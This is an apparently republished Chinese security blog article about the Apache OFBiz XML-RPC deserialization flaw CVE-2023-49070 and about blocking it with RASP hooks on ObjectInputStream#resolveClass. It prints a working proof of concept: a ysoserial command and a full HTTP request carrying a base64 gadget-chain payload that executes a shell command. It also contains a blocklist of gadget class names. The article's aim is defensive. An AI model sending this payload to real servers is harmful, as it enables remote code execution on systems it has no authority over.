从CVE-2023-49070看RASP的0Day防御
2023-12-14 18:31:34 Author: 实战攻防(查看原文) 阅读量:7 收藏

前言

最近阅读了一篇关于 CVE-2023-49070 (https://mp.weixin.qq.com/s/iAvitO6otPdHSu1SjRNX3g) 反序列化漏洞的文章,该漏洞涉及到的接口是 /webtools/control/xmlrpc。初次披露该漏洞是在 CVE-2020-9496 中,而三年后,同一接口再次曝光了 CVE-2023-49070。
在这个漏洞中,开源组件库 XML-RPC 于 2010 年停止更新,导致 Apache OFBiz 作为下游,无奈只能自行提供漏洞修复方案。尽管已经花费三年时间进行多次修补,例如添加鉴权校验、引入流量分析过滤器等,但仍无法有效解决该漏洞。最终,不得不放弃该功能。然而,通过使用 RASP(Runtime Application Self-Protection)技术,我们能够通过挂载到关键函数代码,来从根本上修复这一漏洞,并且能够抵御其他潜在的漏洞利用,即 0day 漏洞。

漏洞分析

以下 POC 中的反序列化 payload 使用的是 ysoserial CC1 链生成的。

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64
POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Content-Type: application/xmlContent-Length: 4137
<?xml version="1.0"?><methodCall> <methodName>ProjectDiscovery</methodName> <params> <param> <value> <struct> <member> <name>test</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqbK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASdG91Y2ggL3RtcC9zdWNjZXNzCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyOTk0ODc1NTU1OTIzMzMBAB9MeXNvc2VyaWFsL1B3bmVyOTk0ODc1NTU1OTIzMzM7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=</serializable> </value> </member> </struct> </value> </param> </params></methodCall>

打开调试后可在 xmlrpc-common 组件库中,看到如果 xml 标签名为 serializable 会使用 SerializableParser 进行解析。

SerializableParser 中我们看到了关键的代码(代码审计点),java.io.ObjectInputStream#readObject(),调用了原生反序列化的 API 触发漏洞。

进一步调试,在反序列化执行的重要位置处 java.io.ObjectInputStream#resolveClass,我们可以看到反序列化 gadget 的执行链类名。

如何不像 Apache OFBiz 官方大刀阔斧直接砍掉这个功能,而是从根源上来修复这个漏洞?

如果当前业务已深度依赖当前组件库无法移除,该怎么办?

如果当前业务还有其他地方有反序列化 0day 漏洞,该如何防御?

答案就是使用 RASP 技术实时监控应用,从根源上阻断攻击,免受漏洞危害

RASP技术

在Java语言中,使用Java Agent技术在应用程序运行时候动态修改类字节码,将安全检测逻辑添加到Java底层API和Web应用程序当中,能实时分析和检测Web攻击,使应用程序具备自我保护能力。当检测到攻击时,还可以通过植入的安全逻辑将恶意的执行动作直接阻断。

从上文可以得知 Apache OFBiz 官方修修补补的漏洞,本质上其实是一个Java反序列化漏洞,RASP针对此类漏洞的防御方式是通过对 java.io.ObjectInputStream#resolveClass 进行 Hook ,RASP 即可拿到反序列化中所实例化的所有类名,并对其进行攻击检测与拦截。下图即是通过 Java Agent 在 resolveClass 处插入攻击检测代码入口。

字节码增强前:

字节码增强后:

通过将已知反序列化 gadget 使用到的类名进行拉黑,从而拦截反序列化执行流程。以下是检测伪代码。

public class DeserilazationHandler{        private static final String[] blackClassNames = new String[]{                "java.util.PriorityQueue",                "org.apache.commons.beanutils.BeanComparator",                "org.apache.xalan.xsltc.trax.TemplatesImpl",                "org.springframework.beans.factory.config.PropertyPathFactoryBean",                "org.apache.commons.configuration.JNDIConfiguration",                "com.mchange.v2.c3p0.PoolBackedDataSource",                "......"        };
public boolean isBlackClass(String className){ for (String blackClassName : blackClassNames) { if(blackClassName.equals(className)){ return true; } } return false; }}

当使用恶意的gadget进行攻击时,RASP就可以检测到。下图就是靖云甲 RASP 默认算法下对 CVE-2023-49070 的拦截。

通过对反序列化执行的关键API java.io.ObjectInputStream#resolveClass 使用字节码修改技术进行 Hook(在指定位置插入检测代码),我们能够对反序列化执行中的类名进行攻击检测,从而有效防御反序列化漏洞。这项技术的优势在于,无论业务中的哪个位置使用了Java 原生反序列化,都能够得到保护,因为最终都会经过这个API 的执行路径,从而有效防范潜在的漏洞利用。

总结

在 CVE-2023-49070 中,Apache OFBiz 开源框架陷入了一个困境,即引入了一个早已不再更新且存在漏洞披露的组件库。尽管进行了多次的临时修补,但这些措施反复被绕过,无法从根本上解决问题,最终只能放弃相关功能。

在实际的业务开发中,我们广泛使用各种组件库,其中可能存在已披露但未修复的漏洞。随着业务规模的扩大和大量组件的引入,应用的潜在风险也随之增加。RASP 技术的引入为这一局面带来了改善。通过深入分析应用内部,对组件库进行漏洞披露分析;通过收集应用API来提供更可靠的资产梳理信息;深入了解漏洞产生的根本原因,从源头上进行 0day 和 nday 漏洞的防御。这种方法使得我们能够更加全面地理解并有效应对应用安全风险。

延伸阅读

1

漏洞复现环境:

https://github.com/vulhub/vulhub/tree/master/ofbiz/CVE-2023-49070

2

Apache OFBiz 漏洞 CVE-2023-49070 的前世今生:

https://mp.weixin.qq.com/s/iAvitO6otPdHSu1SjRNX3g

3

反序列化漏洞攻防:

https://websec.readthedocs.io/zh/latest/language/java/unserialize.html

(边界无限ReaJason@靖云实验室供稿)

往期·推荐


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzNjM5MDYwNw==&mid=2247483938&idx=1&sn=530f2b9285a47cb8c3ec30e2efd1e416&chksm=c3a0e78b4bcd2acc508f2c985a24affc41717c23842cfa9eeae8ffffe5600e2aab5868861e7c&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh